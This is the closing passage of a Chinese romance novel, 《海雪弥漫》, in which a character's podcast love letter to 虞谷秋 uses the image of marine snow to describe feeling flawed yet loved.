“我的妈妈很喜欢给人写信,可能我也遗传了她的癖好吧,想给我的爱人写信。但每个人有每个人的方式,于是我选择在这里记录下我对她的心意,因为就连这个播客也是她劝我开的。她曾说过就算没有人听我的频道,她也会是那个唯一的听众。” 虞谷秋紧张地攥紧手,感觉到前所未有的紧张。 “她是我年少时期就注意到的人,当时我想,慢一点,等我们长大成人,有了更广阔的天地时我再向她奔去。但我没想到长大后的世界并不广阔,而是一座开始囚禁我十年的牢笼。我走不向任何人。” “但十年后,她先走向了我。” 晚霞一点点偏移,车内越来越昏暗,突然,橘红色的微光终于找到角度,照拂这间房车的小窗户,盖在两个人静静倾听的脸庞上。 飞飞拍了拍尾巴,转了一个方向。 “我的眼睛刚好不久,因此回忆起和她重逢的日子大部分都是声音。在此之前,我的世界声音很无聊,翻来覆去是那一套流程——手机闹铃,开煤气时火焰蹿起的声响,大门开关,飞飞的脚掌落在水泥地的摩擦,它轻微的喘息,公交地铁的播报,别人手机里会跳进来的提示音,出站时那一站人尤其多的脚步,到店里时被喊上钟的指令,客人被摁到痛时的重的呼吸,按完后坐在大厅休息时,摆在角落里总是上上下下的竹筒水流……” “而和她重逢之后,声音新鲜得我晕头转向。她第一次见到我撒谎说是另一个人时有点颤抖的声音,第一次有人告诉我楼道里灯坏了需要修的声音,第一次有人和我连线玩大富翁时棋子晃动的声音,第一次有人为了我体验看不见结果撞进自行车堆里的声音,第一次带我听宇宙星象图转化而成的声音,第一次有人为我庆生在家门口等着我时站起来的声音,第一次在跨年时请我去养老院听老年人合唱《月满西楼》的声音,第一次跟不知道如何再面对的亲人相处,却因为她在变得鸡飞狗跳甚至有烟花响起来的夜晚的声音……太多太多,都是我第一次感觉到自己正在被人好好爱着的声音。” “而有一天,这些声音骤然消失了。像恐龙突然消失在世界上一样,那样的庞然大物,在我的世界消失了。地球能若无其事地活下去,但我觉得我不能。” 橙红色的夕阳落下去了,房车内虽然昏暗,但有别的光照进来,攀升上的月亮分出一点余光照进这里,再度落在他们的脸庞上。 “我是一个不幸的人,这是我发生意外后就确认的一件事。我从来不认为命运会分给我一点好运气,它只会极为不公正地对待我。但生平第一次,我居然也会有觉得我好幸运的时刻,那就是和她重逢,以及她向我坦白,她的离开不是因为不爱我。” “但她离开我的原因也让我觉得很无可奈何,不知该怎么说才好。我想起我们去看破冰船的那天,船上有人提到海雪。那是海里的浮游生物,排泄颗粒,泥沙,尘土……这些肮脏腐坏的东西聚集在一起,慢慢往下层深海飘落时的景象,极似雪,被叫作海雪。她离开我,是认为自己像这些东西一样,有缺陷的,应该往下飘落被弃掉的存在。” “在人的眼中看来,当然清楚漂亮的名头下这的确只是一些浮游生物,不值一提。但是,在那些汇聚在其中的浮游生物来看呢?他看到的,却是一场洋洋洒洒的,特别美的大雪。生命中只存在一次的大雪。海雪还不像普通的雪,据说它没有刺冷的温度,也不易化,它落下之后,就会弥漫在海底,挥之不去。” 飞飞在窝里呆得有点无聊了,见沙发上两个人听得入神,蹿出去又去咬两个人裤脚,不被理睬,悻悻地嗷呜两声,扭头去够沙发边上的两只小玩偶。 那两只小玩偶是两个自制的娃娃,她们的脸庞洋溢笑容,一个高一点,一个矮一头,两人穿着阿根廷的红舞裙,高的娃娃头上还戴着一朵花。 飞飞龇牙咬那朵花,被汤骏年弯下腰抽手拍开它的嘴。他将两只娃娃抱起,矮的塞进自己怀里,高的塞进虞谷秋的怀里。 播客的进度条还剩下最后三十秒。 “虞谷秋,如果你是漂浮在其中的渺小的浮游生物,那么我也正好漂浮在其中。你经过我,让我看到了一场自此经年不会化的海雪。我们会慢慢地,慢慢地一起飘落,有一天终于落到人生最后的深海,我闭上眼的时候,仍能看见你落向我。”- 《海雪弥漫》正文完-《 》